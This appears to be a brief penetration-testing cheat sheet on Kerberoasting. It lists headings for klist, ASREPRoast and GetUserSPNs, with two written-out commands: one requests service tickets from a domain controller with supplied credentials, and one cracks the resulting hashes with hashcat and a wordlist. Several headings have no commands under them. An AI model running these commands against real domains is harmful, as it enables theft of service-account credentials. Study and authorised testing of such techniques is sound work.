Kerberosting

Kerberos

List of cached Kerberos tickets

klist

Create a cached ticket

ASREPRoast

GetUserSPNs

Get a list of a user's SPNs

GetUserSPNs.py -dc-ip 10.10.10.10 qu35t.pw/svc_user:password

Request TGS for a user

Request TGS for users in a file

Hashcat Cracking

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt